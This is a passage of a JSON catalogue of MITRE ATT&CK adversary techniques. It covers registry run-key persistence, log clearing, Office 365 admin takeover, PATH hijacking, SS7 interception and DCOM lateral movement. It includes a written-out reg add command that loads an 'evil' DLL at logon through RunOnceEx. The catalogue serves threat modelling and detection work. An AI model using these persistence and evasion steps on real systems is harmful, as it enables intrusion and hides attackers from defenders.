"description": "Adversaries may achieve persistence by adding a program to a startup folder or referencing it with a Registry run key. Adding an entry to the \"run keys\" in the Registry or startup folder will cause the program referenced to be executed when a user logs in. (Citation: Microsoft Run Key) These programs will be executed under the context of the user and will have the account's associated permissions level.\n\nPlacing a program within a startup folder will also cause that program to execute when a user logs in. There is a startup folder location for individual user accounts as well as a system-wide startup folder that will be checked regardless of which user account logs in. The startup folder path for the current user is C:\\Users\\\\[Username]\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Startup. The startup folder path for all users is C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\StartUp.\n\nThe following run keys are created by default on Windows systems:\n\n* HKEY_CURRENT_USER\\Software\\Microsoft\\Windows\\CurrentVersion\\Run\n* HKEY_CURRENT_USER\\Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce\n* HKEY_LOCAL_MACHINE\\Software\\Microsoft\\Windows\\CurrentVersion\\Run\n* HKEY_LOCAL_MACHINE\\Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce\n\nRun keys may exist under multiple hives.(Citation: Microsoft Wow6432Node 2018)(Citation: Malwarebytes Wow6432Node 2016) The HKEY_LOCAL_MACHINE\\Software\\Microsoft\\Windows\\CurrentVersion\\RunOnceEx is also available but is not created by default on Windows Vista and newer. Registry run key entries can reference programs directly or list them as a dependency. (Citation: Microsoft RunOnceEx APR 2018) For example, it is possible to load a DLL at logon using a \"Depend\" key with RunOnceEx: reg add HKLM\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\RunOnceEx\\0001\\Depend /v 1 /d \"C:\\temp\\evil[.]dll\" (Citation: Oddvar Moe RunOnceEx Mar 2018)\n\nThe following Registry keys can be used to set startup folder items for persistence:\n\n* HKEY_CURRENT_USER\\Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\User Shell Folders\n* HKEY_CURRENT_USER\\Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\Shell Folders\n* HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Explorer\\Shell Folders\n* HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Explorer\\User Shell Folders\n\nThe following Registry keys can control automatic startup of services during boot:\n\n* HKEY_LOCAL_MACHINE\\Software\\Microsoft\\Windows\\CurrentVersion\\RunServicesOnce\n* HKEY_CURRENT_USER\\Software\\Microsoft\\Windows\\CurrentVersion\\RunServicesOnce\n* HKEY_LOCAL_MACHINE\\Software\\Microsoft\\Windows\\CurrentVersion\\RunServices\n* HKEY_CURRENT_USER\\Software\\Microsoft\\Windows\\CurrentVersion\\RunServices\n\nUsing policy settings to specify startup programs creates corresponding values in either of two Registry keys:\n\n* HKEY_LOCAL_MACHINE\\Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\Explorer\\Run\n* HKEY_CURRENT_USER\\Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\Explorer\\Run\n\nThe Winlogon key controls actions that occur when a user logs on to a computer running Windows 7. Most of these actions are under the control of the operating system, but you can also add custom actions here. The HKEY_LOCAL_MACHINE\\Software\\Microsoft\\Windows NT\\CurrentVersion\\Winlogon\\Userinit and HKEY_LOCAL_MACHINE\\Software\\Microsoft\\Windows NT\\CurrentVersion\\Winlogon\\Shell subkeys can automatically launch programs.\n\nPrograms listed in the load value of the registry key HKEY_CURRENT_USER\\Software\\Microsoft\\Windows NT\\CurrentVersion\\Windows run when any user logs on.\n\nBy default, the multistring BootExecute value of the registry key HKEY_LOCAL_MACHINE\\System\\CurrentControlSet\\Control\\Session Manager is set to autocheck autochk *. This value causes Windows, at startup, to check the file-system integrity of the hard disks if the system has been shut down abnormally. Adversaries can add other programs or processes to this registry value which will automatically launch at boot.\n\nAdversaries can use these configuration locations to execute malware, such as remote access tools, to maintain persistence through system reboots. Adversaries may also use [Masquerading](https://attack.mitre.org/techniques/T1036) to make the Registry entries look as if they are associated with legitimate programs.",
"meta": {
"external_id": "CAPEC-270",
"kill_chain": [
"mitre-attack:persistence",
"mitre-attack:privilege-escalation"
],
"mitre_data_sources": [
"Command: Command Execution",
"File: File Modification",
"Process: Process Creation",
"Windows Registry: Windows Registry Key Creation",
"Windows Registry: Windows Registry Key Modification"
],
"mitre_platforms": [
"Windows"
],
"refs": [
"http://msdn.microsoft.com/en-us/library/aa376977",
"https://attack.mitre.org/techniques/T1547/001",
"https://blog.malwarebytes.com/cybercrime/2013/10/hiding-in-plain-sight/",
"https://capec.mitre.org/data/definitions/270.html",
"https://docs.microsoft.com/en-us/windows/win32/sysinfo/32-bit-and-64-bit-application-data-in-the-registry",
"https://oddvar.moe/2018/03/21/persistence-using-runonceex-hidden-from-autoruns-exe/",
"https://support.microsoft.com/help/310593/description-of-the-runonceex-registry-key",
"https://technet.microsoft.com/en-us/sysinternals/bb963902"
]
},
"related": [
{
"dest-uuid": "1ecb2399-e8ba-4f6b-8ba7-5c27d49405cf",
"type": "subtechnique-of"
}
],
"uuid": "9efb1ea7-c37b-4595-9640-b7680cd84279",
"value": "Registry Run Keys / Startup Folder - T1547.001"
},
{
"description": "Adversaries may clear system logs to hide evidence of an intrusion. macOS and Linux both keep track of system or user-initiated actions via system logs. The majority of native system logging is stored under the /var/log/ directory. Subfolders in this directory categorize logs by their related functions, such as:(Citation: Linux Logs)\n\n* /var/log/messages:: General and system-related messages\n* /var/log/secure or /var/log/auth.log: Authentication logs\n* /var/log/utmp or /var/log/wtmp: Login records\n* /var/log/kern.log: Kernel logs\n* /var/log/cron.log: Crond logs\n* /var/log/maillog: Mail server logs\n* /var/log/httpd/: Web server access and error logs\n",
"meta": {
"external_id": "T1070.002",
"kill_chain": [
"mitre-attack:defense-evasion"
],
"mitre_data_sources": [
"Command: Command Execution",
"File: File Deletion",
"File: File Modification"
],
"mitre_platforms": [
"Linux",
"macOS"
],
"refs": [
"https://attack.mitre.org/techniques/T1070/002",
"https://www.eurovps.com/blog/important-linux-log-files-you-must-be-monitoring/"
]
},
"related": [
{
"dest-uuid": "799ace7f-e227-4411-baa0-8868704f2a69",
"type": "subtechnique-of"
}
],
"uuid": "2bce5b30-7014-4a5d-ade7-12913fe6ac36",
"value": "Clear Linux or Mac System Logs - T1070.002"
},
{
"description": "An adversary may add the Global Administrator role to an adversary-controlled account to maintain persistent access to an Office 365 tenant.(Citation: Microsoft Support O365 Add Another Admin, October 2019)(Citation: Microsoft O365 Admin Roles) With sufficient permissions, a compromised account can gain almost unlimited access to data and settings (including the ability to reset the passwords of other admins) via the global admin role.(Citation: Microsoft O365 Admin Roles) \n\nThis account modification may immediately follow [Create Account](https://attack.mitre.org/techniques/T1136) or other malicious account activity.",
"meta": {
"external_id": "T1098.003",
"kill_chain": [
"mitre-attack:persistence"
],
"mitre_data_sources": [
"User Account: User Account Modification"
],
"mitre_platforms": [
"Office 365"
],
"refs": [
"https://attack.mitre.org/techniques/T1098/003",
"https://docs.microsoft.com/en-us/office365/admin/add-users/about-admin-roles?view=o365-worldwide",
"https://support.office.com/en-us/article/add-another-admin-f693489f-9f55-4bd0-a637-a81ce93de22d"
]
},
"related": [
{
"dest-uuid": "a10641f4-87b4-45a3-a906-92a149cb2c27",
"type": "subtechnique-of"
}
],
"uuid": "2dbbdcd5-92cf-44c0-aea2-fe24783a6bc3",
"value": "Add Office 365 Global Administrator Role - T1098.003"
},
{
"description": "Adversaries may manipulate software dependencies and development tools prior to receipt by a final consumer for the purpose of data or system compromise. Applications often depend on external software to function properly. Popular open source projects that are used as dependencies in many applications may be targeted as a means to add malicious code to users of the dependency. (Citation: Trendmicro NPM Compromise) \n\nTargeting may be specific to a desired victim set or may be distributed to a broad set of consumers but only move on to additional tactics on specific victims. ",
"meta": {
"external_id": "T1195.001",
"kill_chain": [
"mitre-attack:initial-access"
],
"mitre_platforms": [
"Linux",
"macOS",
"Windows"
],
"refs": [
"https://attack.mitre.org/techniques/T1195/001",
"https://www.trendmicro.com/vinfo/dk/security/news/cybercrime-and-digital-threats/hacker-infects-node-js-package-to-steal-from-bitcoin-wallets"
]
},
"related": [
{
"dest-uuid": "3f18edba-28f4-4bb9-82c3-8aa60dcac5f7",
"type": "subtechnique-of"
}
],
"uuid": "191cc6af-1bb2-4344-ab5f-28e496638720",
"value": "Compromise Software Dependencies and Development Tools - T1195.001"
},
{
"description": "Adversaries may modify file or directory permissions/attributes to evade access control lists (ACLs) and access protected files.(Citation: Hybrid Analysis Icacls1 June 2018)(Citation: Hybrid Analysis Icacls2 May 2018) File and directory permissions are commonly managed by ACLs configured by the file or directory owner, or users with the appropriate permissions. File and directory ACL implementations vary by platform, but generally explicitly designate which users or groups can perform which actions (read, write, execute, etc.).\n\nWindows implements file and directory ACLs as Discretionary Access Control Lists (DACLs).(Citation: Microsoft DACL May 2018) Similar to a standard ACL, DACLs identifies the accounts that are allowed or denied access to a securable object. When an attempt is made to access a securable object, the system checks the access control entries in the DACL in order. If a matching entry is found, access to the object is granted. Otherwise, access is denied.(Citation: Microsoft Access Control Lists May 2018)\n\nAdversaries can interact with the DACLs using built-in Windows commands, such as `icacls`, `cacls`, `takeown`, and `attrib`, which can grant adversaries higher permissions on specific files and folders. Further, [PowerShell](https://attack.mitre.org/techniques/T1059/001) provides cmdlets that can be used to retrieve or modify file and directory DACLs. Specific file and directory modifications may be a required step for many techniques, such as establishing Persistence via [Accessibility Features](https://attack.mitre.org/techniques/T1546/008), [Boot or Logon Initialization Scripts](https://attack.mitre.org/techniques/T1037), or tainting/hijacking other instrumental binary/configuration files via [Hijack Execution Flow](https://attack.mitre.org/techniques/T1574).",
"meta": {
"external_id": "T1222.001",
"kill_chain": [
"mitre-attack:defense-evasion"
],
"mitre_data_sources": [
"Active Directory: Active Directory Object Modification",
"Command: Command Execution",
"File: File Metadata",
"Process: Process Creation"
],
"mitre_platforms": [
"Windows"
],
"refs": [
"https://attack.mitre.org/techniques/T1222/001",
"https://docs.microsoft.com/en-us/windows/win32/secauthz/access-control-lists",
"https://docs.microsoft.com/windows/desktop/secauthz/dacls-and-aces",
"https://www.eventtracker.com/tech-articles/monitoring-file-permission-changes-windows-security-log/",
"https://www.hybrid-analysis.com/sample/22dab012c3e20e3d9291bce14a2bfc448036d3b966c6e78167f4626f5f9e38d6?environmentId=110",
"https://www.hybrid-analysis.com/sample/ef0d2628823e8e0a0de3b08b8eacaf41cf284c086a948bdfd67f4e4373c14e4d?environmentId=100"
]
},
"related": [
{
"dest-uuid": "65917ae0-b854-4139-83fe-bf2441cf0196",
"type": "subtechnique-of"
}
],
"uuid": "34e793de-0274-4982-9c1a-246ed1c19dee",
"value": "Windows File and Directory Permissions Modification - T1222.001"
},
{
"description": "Adversaries may execute their own malicious payloads by hijacking environment variables used to load libraries. Adversaries may place a program in an earlier entry in the list of directories stored in the PATH environment variable, which Windows will then execute when it searches sequentially through that PATH listing in search of the binary that was called from a script or the command line.\n\nThe PATH environment variable contains a list of directories. Certain methods of executing a program (namely using cmd.exe or the command-line) rely solely on the PATH environment variable to determine the locations that are searched for a program when the path for the program is not given. If any directories are listed in the PATH environment variable before the Windows directory, %SystemRoot%\\system32 (e.g., C:\\Windows\\system32), a program may be placed in the preceding directory that is named the same as a Windows program (such as cmd, PowerShell, or Python), which will be executed when that command is executed from a script or command-line.\n\nFor example, if C:\\example path precedes C:\\Windows\\system32 is in the PATH environment variable, a program that is named net.exe and placed in C:\\example path will be called instead of the Windows system \"net\" when \"net\" is executed from the command-line.",
"meta": {
"external_id": "CAPEC-38",
"kill_chain": [
"mitre-attack:persistence",
"mitre-attack:privilege-escalation",
"mitre-attack:defense-evasion"
],
"mitre_data_sources": [
"File: File Creation",
"File: File Modification",
"Process: Process Creation"
],
"mitre_platforms": [
"Windows"
],
"refs": [
"https://attack.mitre.org/techniques/T1574/007",
"https://capec.mitre.org/data/definitions/13.html",
"https://capec.mitre.org/data/definitions/38.html"
]
},
"related": [
{
"dest-uuid": "aedfca76-3b30-4866-b2aa-0f1d7fd1e4b6",
"type": "subtechnique-of"
}
],
"uuid": "0c2d00da-7742-49e7-9928-4514e5075d32",
"value": "Path Interception by PATH Environment Variable - T1574.007"
},
{
"description": "Adversaries may execute their own malicious payloads by hijacking the search order used to load other programs. Because some programs do not call other programs using the full path, adversaries may place their own file in the directory where the calling program is located, causing the operating system to launch their malicious software at the request of the calling program.\n\nSearch order hijacking occurs when an adversary abuses the order in which Windows searches for programs that are not given a path. Unlike [DLL Search Order Hijacking](https://attack.mitre.org/techniques/T1574/001), the search order differs depending on the method that is used to execute the program. (Citation: Microsoft CreateProcess) (Citation: Windows NT Command Shell) (Citation: Microsoft WinExec) However, it is common for Windows to search in the directory of the initiating program before searching through the Windows system directory. An adversary who finds a program vulnerable to search order hijacking (i.e., a program that does not specify the path to an executable) may take advantage of this vulnerability by creating a program named after the improperly specified program and placing it within the initiating program's directory.\n\nFor example, \"example.exe\" runs \"cmd.exe\" with the command-line argument net user. An adversary may place a program called \"net.exe\" within the same directory as example.exe, \"net.exe\" will be run instead of the Windows system utility net. In addition, if an adversary places a program called \"net.com\" in the same directory as \"net.exe\", then cmd.exe /C net user will execute \"net.com\" instead of \"net.exe\" due to the order of executable extensions defined under PATHEXT. (Citation: Microsoft Environment Property)\n\nSearch order hijacking is also a common practice for hijacking DLL loads and is covered in [DLL Search Order Hijacking](https://attack.mitre.org/techniques/T1574/001).",
"meta": {
"external_id": "CAPEC-159",
"kill_chain": [
"mitre-attack:persistence",
"mitre-attack:privilege-escalation",
"mitre-attack:defense-evasion"
],
"mitre_data_sources": [
"File: File Creation",
"File: File Modification",
"Process: Process Creation"
],
"mitre_platforms": [
"Windows"
],
"refs": [
"http://msdn.microsoft.com/en-us/library/ms682425",
"http://msdn.microsoft.com/en-us/library/ms687393",
"https://attack.mitre.org/techniques/T1574/008",
"https://capec.mitre.org/data/definitions/159.html",
"https://docs.microsoft.com/en-us/previous-versions//cc723564(v=technet.10)?redirectedfrom=MSDN#XSLTsection127121120120",
"https://docs.microsoft.com/en-us/previous-versions//fd7hxfdd(v=vs.85)?redirectedfrom=MSDN"
]
},
"related": [
{
"dest-uuid": "aedfca76-3b30-4866-b2aa-0f1d7fd1e4b6",
"type": "subtechnique-of"
}
],
"uuid": "58af3705-8740-4c68-9329-ec015a7013c2",
"value": "Path Interception by Search Order Hijacking - T1574.008"
},
{
"description": "Adversaries may achieve persistence by adding a program to a startup folder or referencing it with a Registry run key. Adding an entry to the \"run keys\" in the Registry or startup folder will cause the program referenced to be executed when a user logs in. (Citation: Microsoft Run Key) These programs will be executed under the context of the user and will have the account's associated permissions level.\n\nPlacing a program within a startup folder will cause that program to execute when a user logs in. There is a startup folder location for individual user accounts as well as a system-wide startup folder that will be checked regardless of which user account logs in.\n\nThe startup folder path for the current user is:\n* C:\\Users\\[Username]\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\nThe startup folder path for all users is:\n* C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\StartUp\n\nThe following run keys are created by default on Windows systems:\n* HKEY_CURRENT_USER\\Software\\Microsoft\\Windows\\CurrentVersion\\Run\n* HKEY_CURRENT_USER\\Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce\n* HKEY_LOCAL_MACHINE\\Software\\Microsoft\\Windows\\CurrentVersion\\Run\n* HKEY_LOCAL_MACHINE\\Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce\n\nThe HKEY_LOCAL_MACHINE\\Software\\Microsoft\\Windows\\CurrentVersion\\RunOnceEx is also available but is not created by default on Windows Vista and newer. Registry run key entries can reference programs directly or list them as a dependency. (Citation: Microsoft RunOnceEx APR 2018) For example, it is possible to load a DLL at logon using a \"Depend\" key with RunOnceEx: reg add HKLM\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\RunOnceEx\\0001\\Depend /v 1 /d \"C:\\temp\\evil[.]dll\" (Citation: Oddvar Moe RunOnceEx Mar 2018)\n\nThe following Registry keys can be used to set startup folder items for persistence:\n* HKEY_CURRENT_USER\\Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\User Shell Folders\n* HKEY_CURRENT_USER\\Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\Shell Folders\n* HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Explorer\\Shell Folders\n* HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Explorer\\User Shell Folders\n\nThe following Registry keys can control automatic startup of services during boot:\n* HKEY_LOCAL_MACHINE\\Software\\Microsoft\\Windows\\CurrentVersion\\RunServicesOnce\n* HKEY_CURRENT_USER\\Software\\Microsoft\\Windows\\CurrentVersion\\RunServicesOnce\n* HKEY_LOCAL_MACHINE\\Software\\Microsoft\\Windows\\CurrentVersion\\RunServices\n* HKEY_CURRENT_USER\\Software\\Microsoft\\Windows\\CurrentVersion\\RunServices\n\nUsing policy settings to specify startup programs creates corresponding values in either of two Registry keys:\n* HKEY_LOCAL_MACHINE\\Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\Explorer\\Run\n* HKEY_CURRENT_USER\\Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\Explorer\\Run\n\nThe Winlogon key controls actions that occur when a user logs on to a computer running Windows 7. Most of these actions are under the control of the operating system, but you can also add custom actions here. The HKEY_LOCAL_MACHINE\\Software\\Microsoft\\Windows NT\\CurrentVersion\\Winlogon\\Userinit and HKEY_LOCAL_MACHINE\\Software\\Microsoft\\Windows NT\\CurrentVersion\\Winlogon\\Shell subkeys can automatically launch programs.\n\nPrograms listed in the load value of the registry key HKEY_CURRENT_USER\\Software\\Microsoft\\Windows NT\\CurrentVersion\\Windows run when any user logs on.\n\nBy default, the multistring BootExecute value of the registry key HKEY_LOCAL_MACHINE\\System\\CurrentControlSet\\Control\\Session Manager is set to autocheck autochk *. This value causes Windows, at startup, to check the file-system integrity of the hard disks if the system has been shut down abnormally. Adversaries can add other programs or processes to this registry value which will automatically launch at boot.\n\nAdversaries can use these configuration locations to execute malware, such as remote access tools, to maintain persistence through system reboots. Adversaries may also use [Masquerading](https://attack.mitre.org/techniques/T1036) to make the Registry entries look as if they are associated with legitimate programs.",
"meta": {
"external_id": "CAPEC-270",
"refs": [
"http://msdn.microsoft.com/en-us/library/aa376977",
"https://attack.mitre.org/techniques/T1060",
"https://capec.mitre.org/data/definitions/270.html",
"https://oddvar.moe/2018/03/21/persistence-using-runonceex-hidden-from-autoruns-exe/",
"https://support.microsoft.com/help/310593/description-of-the-runonceex-registry-key",
"https://technet.microsoft.com/en-us/sysinternals/bb963902"
]
},
"related": [
{
"dest-uuid": "9efb1ea7-c37b-4595-9640-b7680cd84279",
"tags": [
"estimative-language:likelihood-probability=\"almost-certain\""
],
"type": "revoked-by"
}
],
"uuid": "9422fc14-1c43-410d-ab0f-a709b76c72dc",
"value": "Registry Run Keys / Startup Folder - T1060"
},
{
"description": "An adversary could exploit signaling system vulnerabilities to redirect calls or text messages (SMS) to a phone number under the attacker's control. The adversary could then act as an adversary-in-the-middle to intercept or manipulate the communication. (Citation: Engel-SS7) (Citation: Engel-SS7-2008) (Citation: 3GPP-Security) (Citation: Positive-SS7) (Citation: CSRIC5-WG10-FinalReport) Interception of SMS messages could enable adversaries to obtain authentication codes used for multi-factor authentication(Citation: TheRegister-SS7).",
"meta": {
"external_id": "CEL-37",
"kill_chain": [
"mitre-mobile-attack:network-effects"
],
"mitre_platforms": [
"Android",
"iOS"
],
"refs": [
"http://www.3gpp.org/ftp/tsg_sa/wg3_security/_specs/33900-120.pdf",
"https://attack.mitre.org/techniques/T1449",
"https://berlin.ccc.de/~tobias/31c3-ss7-locate-track-manipulate.pdf",
"https://pages.nist.gov/mobile-threat-catalogue/cellular-threats/CEL-37.html",
"https://www.fcc.gov/files/csric5-wg10-finalreport031517pdf",
"https://www.ptsecurity.com/upload/ptcom/PT-SS7-AD-Data-Sheet-eng.pdf",
"https://www.theregister.co.uk/2017/05/03/hackers_fire_up_ss7_flaw/",
"https://www.youtube.com/watch?v=q0n5ySqbfdI"
]
},
"uuid": "fb3fa94a-3aee-4ab0-b7e7-abdf0a51286d",
"value": "Exploit SS7 to Redirect Phone Calls/SMS - T1449"
},
{
"description": "This object is deprecated as its content has been merged into the enterprise domain. Please see the [PRE](http://attack.mitre.org/matrices/enterprise/pre/) matrix for its replacement. The prior content of this page has been preserved [here](https://attack.mitre.org/versions/v7/techniques/T1302).\n\nPhysical access may be required for certain types of adversarial actions. (Citation: CyberPhysicalAssessment) (Citation: CriticalInfrastructureAssessment)",
"meta": {
"external_id": "T1302",
"kill_chain": [
"mitre-pre-attack:organizational-weakness-identification"
],
"refs": [
"https://attack.mitre.org/techniques/T1302"
]
},
"uuid": "31a57c70-6709-4d06-a473-c3df1f74c1d4",
"value": "Assess security posture of physical locations - T1302"
},
{
"description": "This object is deprecated as its content has been merged into the enterprise domain. Please see the [PRE](http://attack.mitre.org/matrices/enterprise/pre/) matrix for its replacement. The prior content of this page has been preserved [here](https://attack.mitre.org/versions/v7/techniques/T1250).\n\nDomain Names are the human readable names used to represent one or more IP addresses. IP addresses are the unique identifier of computing devices on a network. Both pieces of information are valuable to an adversary who is looking to understand the structure of a network. (Citation: RSA-APTRecon)",
"meta": {
"external_id": "T1250",
"kill_chain": [
"mitre-pre-attack:technical-information-gathering"
],
"refs": [
"https://attack.mitre.org/techniques/T1250"
]
},
"uuid": "23ecb7e0-0340-43d9-80a5-8971fe866ddf",
"value": "Determine domain and IP address space - T1250"
},
{
"description": "This object is deprecated as its content has been merged into the enterprise domain. Please see the [PRE](http://attack.mitre.org/matrices/enterprise/pre/) matrix for its replacement. The prior content of this page has been preserved [here](https://attack.mitre.org/versions/v7/techniques/T1290).\n\nIf an adversary can identify which security tools a victim is using they may be able to identify ways around those tools. (Citation: CrowdStrike Putter Panda)",
"meta": {
"external_id": "T1290",
"kill_chain": [
"mitre-pre-attack:technical-weakness-identification"
],
"refs": [
"http://cdn0.vox-cdn.com/assets/4589853/crowdstrike-intelligence-report-putter-panda.original.pdf",
"https://attack.mitre.org/techniques/T1290"
]
},
"uuid": "b26babc7-9127-4bd5-9750-5e49748c9be3",
"value": "Research visibility gap of security vendors - T1290"
},
{
"description": "An adversary could exploit signaling system vulnerabilities to track the location of mobile devices. (Citation: Engel-SS7) (Citation: Engel-SS7-2008) (Citation: 3GPP-Security) (Citation: Positive-SS7) (Citation: CSRIC5-WG10-FinalReport)",
"meta": {
"external_id": "CEL-38",
"kill_chain": [
"mitre-mobile-attack:network-effects"
],
"mitre_platforms": [
"Android",
"iOS"
],
"refs": [
"http://www.3gpp.org/ftp/tsg_sa/wg3_security/_specs/33900-120.pdf",
"https://attack.mitre.org/techniques/T1450",
"https://berlin.ccc.de/~tobias/31c3-ss7-locate-track-manipulate.pdf",
"https://pages.nist.gov/mobile-threat-catalogue/cellular-threats/CEL-38.html",
"https://www.fcc.gov/files/csric5-wg10-finalreport031517pdf",
"https://www.ptsecurity.com/upload/ptcom/PT-SS7-AD-Data-Sheet-eng.pdf",
"https://www.youtube.com/watch?v=q0n5ySqbfdI"
]
},
"related": [],
"uuid": "52651225-0b3a-482d-aa7e-10618fd063b5",
"value": "Exploit SS7 to Track Device Location - T1450"
},
{
"description": "On versions of Android prior to 4.1, an adversary may use a malicious application that holds the READ_LOGS permission to obtain private keys, passwords, other credentials, or other sensitive data stored in the device's system log. On Android 4.1 and later, an adversary would need to attempt to perform an operating system privilege escalation attack to be able to access the log.",
"meta": {
"external_id": "APP-13",
"kill_chain": [
"mitre-mobile-attack:collection",
"mitre-mobile-attack:credential-access"
],
"mitre_platforms": [
"Android"
],
"refs": [
"https://attack.mitre.org/techniques/T1413",
"https://pages.nist.gov/mobile-threat-catalogue/application-threats/APP-13.html",
"https://pages.nist.gov/mobile-threat-catalogue/application-threats/APP-3.html"
]
},
"uuid": "29e07491-8947-43a3-8d4e-9a787c45f3d3",
"value": "Access Sensitive Data in Device Logs - T1413"
},
{
"description": "An adversary could steal developer account credentials on an app store and/or signing keys to publish malicious updates to existing Android or iOS apps, or to abuse the developer's identity and reputation to publish new malicious applications. For example, Infoworld describes this technique and suggests mitigations in (Citation: Infoworld-Appstore).\n\nDetection: Developers can regularly scan (or have a third party scan on their behalf) the app stores for presence of unauthorized apps that were submitted using the developer's identity.\n\nPlatforms: Android, iOS",
"meta": {
"external_id": "T1441",
"refs": [
"https://attack.mitre.org/techniques/T1441"
]
},
"related": [
{
"dest-uuid": "d9db3d46-66ca-44b4-9daa-1ef97cb7465a",
"tags": [
"estimative-language:likelihood-probability=\"almost-certain\""
],
"type": "revoked-by"
}
],
"uuid": "a21a6a79-f9a1-4c87-aed9-ba2d79536881",
"value": "Stolen Developer Credentials or Signing Keys - T1441"
},
{
"description": "**This technique has been deprecated. Please use [Distributed Component Object Model](https://attack.mitre.org/techniques/T1021/003) and [Component Object Model](https://attack.mitre.org/techniques/T1559/001).**\n\nAdversaries may use the Windows Component Object Model (COM) and Distributed Component Object Model (DCOM) for local code execution or to execute on remote systems as part of lateral movement. \n\nCOM is a component of the native Windows application programming interface (API) that enables interaction between software objects, or executable code that implements one or more interfaces.(Citation: Fireeye Hunting COM June 2019) Through COM, a client object can call methods of server objects, which are typically Dynamic Link Libraries (DLL) or executables (EXE).(Citation: Microsoft COM) DCOM is transparent middleware that extends the functionality of Component Object Model (COM) (Citation: Microsoft COM) beyond a local computer using remote procedure call (RPC) technology.(Citation: Fireeye Hunting COM June 2019)\n\nPermissions to interact with local and remote server COM objects are specified by access control lists (ACL) in the Registry. (Citation: Microsoft COM ACL)(Citation: Microsoft Process Wide Com Keys)(Citation: Microsoft System Wide Com Keys) By default, only Administrators may remotely activate and launch COM objects through DCOM.\n\nAdversaries may abuse COM for local command and/or payload execution. Various COM interfaces are exposed that can be abused to invoke arbitrary execution via a variety of programming languages such as C, C++, Java, and VBScript.(Citation: Microsoft COM) Specific COM objects also exists to directly perform functions beyond code execution, such as creating a [Scheduled Task/Job](https://attack.mitre.org/techniques/T1053), fileless download/execution, and other adversary behaviors such as Privilege Escalation and Persistence.(Citation: Fireeye Hunting COM June 2019)(Citation: ProjectZero File Write EoP Apr 2018)\n\nAdversaries may use DCOM for lateral movement. Through DCOM, adversaries operating in the context of an appropriately privileged user can remotely obtain arbitrary and even direct shellcode execution through Office applications (Citation: Enigma Outlook DCOM Lateral Movement Nov 2017) as well as other Windows objects that contain insecure methods.(Citation: Enigma MMC20 COM Jan 2017)(Citation: Enigma DCOM Lateral Movement Jan 2017) DCOM can also execute macros in existing documents (Citation: Enigma Excel DCOM Sept 2017) and may also invoke [Dynamic Data Exchange](https://attack.mitre.org/techniques/T1173) (DDE) execution directly through a COM created instance of a Microsoft Office application (Citation: Cyberreason DCOM DDE Lateral Movement Nov 2017), bypassing the need for a malicious document.",
"meta": {
"external_id": "T1175",
"kill_chain": [
"mitre-attack:lateral-movement",
"mitre-attack:execution"
],
"mitre_platforms": [
"Windows"
],
"refs": [
"https://attack.mitre.org/techniques/T1175",
"https://docs.microsoft.com/en-us/windows/desktop/com/dcom-security-enhancements-in-windows-xp-service-pack-2-and-windows-server-2003-service-pack-1",
"https://enigma0x3.net/2017/01/05/lateral-movement-using-the-mmc20-application-com-object/",
"https://enigma0x3.net/2017/01/23/lateral-movement-via-dcom-round-2/",
"https://enigma0x3.net/2017/09/11/lateral-movement-using-excel-application-and-dcom/",
"https://enigma0x3.net/2017/11/16/lateral-movement-using-outlooks-createobject-method-and-dotnettojscript/",
"https://googleprojectzero.blogspot.com/2018/04/windows-exploitation-tricks-exploiting.html",
"https://msdn.microsoft.com/en-us/library/windows/desktop/ms687317(v=vs.85).aspx",
"https://msdn.microsoft.com/en-us/library/windows/desktop/ms694331(v=vs.85).aspx",
"https://msdn.microsoft.com/library/windows/desktop/ms680573.aspx",
"https://www.cybereason.com/blog/leveraging-excel-dde-for-lateral-movement-via-dcom",
"https://www.fireeye.com/blog/threat-research/2019/06/hunting-com-objects.html"
]
},
"uuid": "772bc7a8-a157-42cc-8728-d648e25c7fe7",
"value": "Component Object Model and Distributed COM - T1175"
},
{
"description": "This object is deprecated as its content has been merged into the enterprise domain. Please see the [PRE](http://attack.mitre.org/matrices/enterprise/pre/) matrix for its replacement. The prior content of this page has been preserved [here](https://attack.mitre.org/versions/v7/techniques/T1342).\n\nBoth newly built personas and pre-compromised personas may require development of additional documentation to make them seem real. This could include filling out profile information, developing social networks, or incorporating photos. (Citation: NEWSCASTER2014) (Citation: BlackHatRobinSage) (Citation: RobinSageInterview)",
"meta": {
"external_id": "T1342",
"kill_chain": [
"mitre-pre-attack:persona-development"
],
"refs": [
"http://media.blackhat.com/bh-us-10/whitepapers/Ryan/BlackHat-USA-2010-Ryan-Getting-In-Bed-With-Robin-Sage-v1.0.pdf",
"https://attack.mitre.org/techniques/T1342",
"https://www.securityweek.com/iranian-hackers-targeted-us-officials-elaborate-social-media-attack-operation"
]
},
"uuid": "271e6d40-e191-421a-8f87-a8102452c201",
"value": "Develop social network persona digital footprint - T1342"
},
{
"description": "This object is deprecated as its content has been merged into the enterprise domain. Please see the [PRE](http://attack.mitre.org/matrices/enterprise/pre/) matrix for its replacement. The prior content of this page has been preserved [here](https://attack.mitre.org/versions/v7/techniques/T1298).\n\nOnce a 3rd party vendor has been identified as being of interest it can be probed for vulnerabilities just like the main target would be. (Citation: Zetter2015Threats) (Citation: WSJTargetBreach)",
"meta": {
"external_id": "T1298",
"kill_chain": [
"mitre-pre-attack:organizational-weakness-identification"
],
"refs": [
"https://attack.mitre.org/techniques/T1298"
]
},
"uuid": "1def484d-2343-470d-8925-88f45b5f9615",
